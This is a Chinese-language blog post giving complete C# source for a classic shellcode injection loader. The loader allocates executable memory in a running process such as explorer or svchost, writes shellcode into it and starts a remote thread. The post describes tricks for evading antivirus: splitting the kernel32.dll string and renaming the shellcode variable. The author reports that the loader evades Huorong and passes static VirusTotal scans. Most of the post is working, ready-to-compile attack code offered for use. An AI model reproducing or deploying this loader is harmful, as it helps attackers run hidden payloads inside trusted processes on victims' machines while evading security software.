ShellCode注入
本文提取上篇说到的经典注入技术。
传送门:https://blog.axzzsec.com/archives/csharp-acpinject
ClassicInject
shellcode经典注入,这种技术实现原理为:在目标进程中分配内存,注入shellcode并启动一个新线程。
然后在测试该方法时,刚开始不能正常上线,找半天原因没找到所以放弃了,然后今天无聊继续测试了一下,发现正常上线了,但是编译后复制到物理机上面,发现火绒把它杀了,一脸懵,后来测试发现,火绒查杀机制有点傻傻的感觉,它杀 shellcode 这个关键字,因为我直接定义了一个shellcode的变量,再编译,火绒就给我杀了,我将shellcode这个变量名改成了其他的,就不杀。
实现过程
为shellcode申请并分配内存
IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)strCode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE);
将shellcode写入到内存中
WriteProcessMemory(target.Handle, pAddr, strCode, strCode.Length, out IntPtr lpNumberOfBytesWritten);
创建一个远程线程
IntPtr hThread = CreateRemoteThread(target.Handle, IntPtr.Zero, 0, pAddr, IntPtr.Zero, ThreadCreationFlags.NORMAL, out hThread);
### 问题
Windows Defender还是要杀shellcode,可以考虑直接接受加密后的shellcode。
该图上线的是我安装了火绒的物理机,在火绒运行的情况下正常上线。
上线条件:还是需要一个正常已经启用了的进程名称,比如explorer进程,svchost等进程。
最终代码
Classic.cs : 该文件包含了加载函数,主函数,以及shellcode进行base64编码的函数;
c#
using System;
using System.IO;
using static ClassicInject.Func;
namespace ClassicInject
{
class Classic
{
static string Base64strCode(string strCodePath)
{
byte[] code = File.ReadAllBytes(strCodePath);
string base64Code = Convert.ToBase64String(code);
return base64Code;
}
static void Main(string[] args)
{
if (args.Length == 2)
{
string target = args[0];
string strCodePath = args[1];
System.Diagnostics.Process target1 = null;
System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcessesByName(target);
target1 = processes[0];
ClassicFun(target1, strCodePath);
//Process target = Process.GetProcessesByName(args[0])[0];
//APCInjectFunNo(target, args[1]);
}
else
{
Console.WriteLine("ClassicInject.exe [process name] [bin path]");
}
}
static void ClassicFun(System.Diagnostics.Process target, string strCodePath)
{
byte[] strCode = Convert.FromBase64String(Base64strCode(strCodePath));
// allocate some memory for our strCode
IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)strCode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE);
// write the strCode into the allocated memory
WriteProcessMemory(target.Handle, pAddr, strCode, strCode.Length, out IntPtr lpNumberOfBytesWritten);
// create the remote thread
IntPtr hThread = CreateRemoteThread(target.Handle, IntPtr.Zero, 0, pAddr, IntPtr.Zero, ThreadCreationFlags.NORMAL, out hThread);
}
}
}
Func.cs: 该文件包含了加载函数所需的库引用,所需的方法等。
c#
using System;
using System.Runtime.InteropServices;
namespace ClassicInject
{
internal class Func
{
const string dllname1 = "kern";
const string dllname2 = "el32.d";
const string dllname3 = "ll";
[DllImport(dllname1+ dllname2+ dllname3, SetLastError = true, ExactSpelling = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport(dllname1 + dllname2 + dllname3)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport(dllname1 + dllname2 + dllname3)]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, ThreadCreationFlags dwCreationFlags, out IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, ThreadCreationFlags dwCreationFlags, out IntPtr lpThreadId);
[Flags]
public enum AllocationType
{
NULL = 0x0,
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
public enum MemoryProtection : UInt32
{
PAGE_EXECUTE = 0x00000010,
PAGE_EXECUTE_READ = 0x00000020,
PAGE_EXECUTE_READWRITE = 0x00000040,
PAGE_EXECUTE_WRITECOPY = 0x00000080,
PAGE_NOACCESS = 0x00000001,
PAGE_READONLY = 0x00000002,
PAGE_READWRITE = 0x00000004,
PAGE_WRITECOPY = 0x00000008,
PAGE_GUARD = 0x00000100,
PAGE_NOCACHE = 0x00000200,
PAGE_WRITECOMBINE = 0x00000400
}
public enum ThreadCreationFlags : UInt32
{
NORMAL = 0x0,
CREATE_SUSPENDED = 0x00000004,
STACK_SIZE_PARAM_IS_A_RESERVATION = 0x00010000
}
}
}
可以将两个文件稍微处理下合并到一起,因为分开只是为了我方便看的,然后直接编译即可。
免杀效果
火绒,肯定免杀了。
VT平台测试效果:
马马虎虎,还凑活,但是这个仅限于静态免杀,动态未测试。